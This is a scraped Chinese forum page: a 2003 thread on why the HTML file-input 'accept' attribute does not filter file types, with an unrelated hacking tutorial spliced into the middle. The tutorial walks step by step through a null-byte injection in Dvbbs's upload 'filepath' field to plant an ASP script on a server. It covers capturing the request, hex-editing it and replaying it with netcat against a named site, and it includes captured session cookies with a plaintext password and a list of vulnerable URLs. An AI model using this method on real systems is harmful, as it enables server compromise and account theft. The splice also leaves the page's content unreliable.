中的accept属性问题 ,高手请进!

longshenwang 2003-09-15 10:04:49
小弟想实现在<INPUT NAME="fileName" TYPE=FILE>中设置某个属性来完成在浏览文件时只能看见设定好了的文件类型,不知道使用accept="image/gif"行不行,试验后发现还是可以看见别的类型文件,请各位高手帮忙!。。
...全文
907 16 打赏 收藏 转发到动态 举报
写回复
用AI写文章
16 条回复
切换为时间正序
请发表友善的回复…
发表回复
yuhangyan 2003-09-24
  • 打赏
  • 举报
回复
最后一次提前 没有高手能帮我解决这个问题吗?

斑竹呢? 没有的话就只能失望的结贴了 :(
longshenwang 2003-09-23
  • 打赏
  • 举报
回复
大家多多发表自己的看法啊! 没关系 ~~ UP UP UP ^_^
zhanghk 2003-09-22
  • 打赏
  • 举报
回复
楼上说的没错,即使你这样能实现的话,我还是可以选择别的文件的
zhanghk 2003-09-22
  • 打赏
  • 举报
回复
楼上说的没错,即使
xdspower 2003-09-21
  • 打赏
  • 举报
回复
好像没有办法, 一个想象的方案是在获取文件名后自己判断,对不符合要求的不处理(上传,调用)
xdspower 2003-09-19
  • 打赏
  • 举报
回复
我个人认为ACCEPT属性是针对数据获取方式的,并不是一般意义上的文件属性,所以楼主的要求用这个方法是不能达到的。
showerXP 2003-09-19
  • 打赏
  • 举报
回复
ACCEPT="image/pjpeg"
hisi 2003-09-19
  • 打赏
  • 举报
回复
好像没有办法
keygao 2003-09-19
  • 打赏
  • 举报
回复
没有这个属性吧
longshenwang 2003-09-19
  • 打赏
  • 举报
回复
请问xdspower,用什么方法能够实现类似功能?谢谢!
longshenwang 2003-09-18
  • 打赏
  • 举报
回复
楼上的
用<INPUT NAME="fileName" TYPE=FILE ACCEPT=""image/jpg">不行啊!

在浏览的时候什么文件都看得见(exe、txt、doc......)我想要的是浏览的时候只能看见、选择jpg类型的图片
zhaoweiwei 2003-09-17
  • 打赏
  • 举报
回复
<INPUT NAME="fileName" TYPE=FILE ACCEPT=""image/jpg">
anita2li 2003-09-16
  • 打赏
  • 举报
回复
UP
yonghengdizhen 2003-09-16
  • 打赏
  • 举报
回复
楼主没说错,但是对于这个属性,我也从来没有成功应用过

ACCEPT Attribute | accept Property

--------------------------------------------------------------------------------

Sets or retrieves a comma-separated list of content types.

Syntax

HTML <INPUT ACCEPT = sAccept... >
Scripting INPUT.accept(v) [ = sAccept ]

Possible Values

sAccept String that specifies or receives comma-separated list of content types.

The property is read/write. The property has no default value.

Remarks

The information from the list can be used to filter out nonconforming files when prompting a user to select files to be sent to the server using the <INPUT> element with type="file".

Examples of content types include "text/html", "image/png", "image/gif", "video/mpeg", "audio/basic", "text/tcl", "text/javascript", and "text/vbscript". For the current list of registered Multipurpose Internet Mail Extensions (MIME) types, see MIME types .

There is no functionality implemented for this property unless defined by the author.

Standards Information

This property is defined in HTML 4.0 and is defined in World Wide Web Consortium (W3C) Document Object Model (DOM) Level 1 .

Applies To

INPUT
Platform Version
Win32: 6
Version data is listed when the mouse hovers over a link, or the link has focus.
INPUT
blues-star 2003-09-16
  • 打赏
  • 举报
回复
accept是你自己编出来的。

并且type="file"不能完成你所述功能。
longshenwang 2003-09-16
  • 打赏
  • 举报
回复
怎么没人回答啊! 太简单????
上传漏洞终结篇 一、写在前面 ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本*** NC(Netcat)   用于提交数据包   DOS界面下运行:   NC -vv www.***.com 80<1.txt   -vv: 回显   80: www端口   1.txt: 就是你要发送的数据包  (更多使用方法请查看本区的帖子) WSE(WSockExpert)   对本机端口的监视,抓取IE提交的数据包  (不会用的就自己到网上搜资料N多) 二、漏洞原理 下面例子假设的前提 www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件的研究,建议有一定编程经验的 看看Dvbbs的upfile.asp文件,没有必要全部看懂 upfile是通过生成一个form表上传,如下
<input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" ...>
用到的变量: filepath 默认值uploadface 属性hiden act   默认值upload   属性hiden file1  就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 文件是用你的上传时间命名的,就是upfile里的这一句 FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt ------------------------------------------------------------------------- 我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道 char data[]="bbs" 这个data数组长度是4: b b s \0 如果我们构造filepath如下,会怎么样呢? filepath="/newmm.asp\0" 我们在2004.09.24.08.24传的文件就会发生变化 没有改时: http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时: http://www.***.com/newmm.asp\0/200409240824.jpg 这样当服务器接收filepath数据时,检测到newmm.asp后面的\0 就理解为filepath的数据就结束了 这样我们上传的文件,比如c:\1.asp 就保存成: http://www.***.com/newmm.asp 三、后期补充 漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个 上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。 就算他加N个hiden变量也于事无补。 当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 就是我们的新理论诞生的时候! 四、漏洞列表 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746 监听外部主机     NC [-options] hostname port[s] [ports] ... 监听本地主机     NC -l -p port [options] [hostname] [port] options:     -d       detach from console, stealth mode     -e prog     inbound program to exec [dangerous!!]     -g gateway   source-routing hop point[s], up to 8     -G num     source-routing pointer: 4, 8, 12, ...     -h       this cruft     -i secs     delay interval for lines sent, ports scanned     -l       listen mode, for inbound connects     -L       listen harder, re-listen on socket close     -n       numeric-only IP addresses, no DNS     -o file     hex dump of traffic     -p port     local port number     -r       randomize local and remote ports     -s addr     local source address     -t       answer TELNET negotiation     -u       UDP mode     -v       verbose [use twice to be more verbose]     -w secs     timeout for connects and final net reads     -z       zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] 详细实例: --------------------------------------------------------------------------------- 一、WSE抓包结果(存到1.txt里): POST /bbs/upPhoto/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.xin126.com/bbs/upPhoto/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.xin126.com Content-Length: 1969 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84 -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" ../medias/myPhoto/ -----------------------------7d423a138d0278 ... ... 上传 -----------------------------7d423a138d0278-- --------------------------------------------------------------------------------- 二、UltraEdit打开1.txt改数据: ...... -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" /newmm.asp█         <===这个黑色代表一个空格是 0x20,改成0x00就可以了 ...... --------------------------------------------------------------------------------- 三、重新计算cookies长度,然后nc提交 Nc -vv www.xin126.com 80 <1.txt UltraEdit是一个16位编辑器网上可以下载得到 我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H 其实你改的时候就直接再filepath的结尾处加个00就OK了 计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 ...... Host: www.xin126.com Content-Length: 1969 <======就是这个 Connection: Keep-Alive Cache-Control: no-cache ...... 计算会吧?一个字母、数字就是1 对于上传漏洞提出的解决思路:(仅供参考) 1、一般的上传是把上传路径作为一个变量来处理 ===>我们的对策就是把filepath变成常量。。。 这个方法是目前最有效的(我认为的) 2、加强对于\0的处理,原来我们是读到这里就结束 我们继续读直道下一个变量开始的地方,处理就OK了

87,901

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 JavaScript
社区管理员
  • JavaScript
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧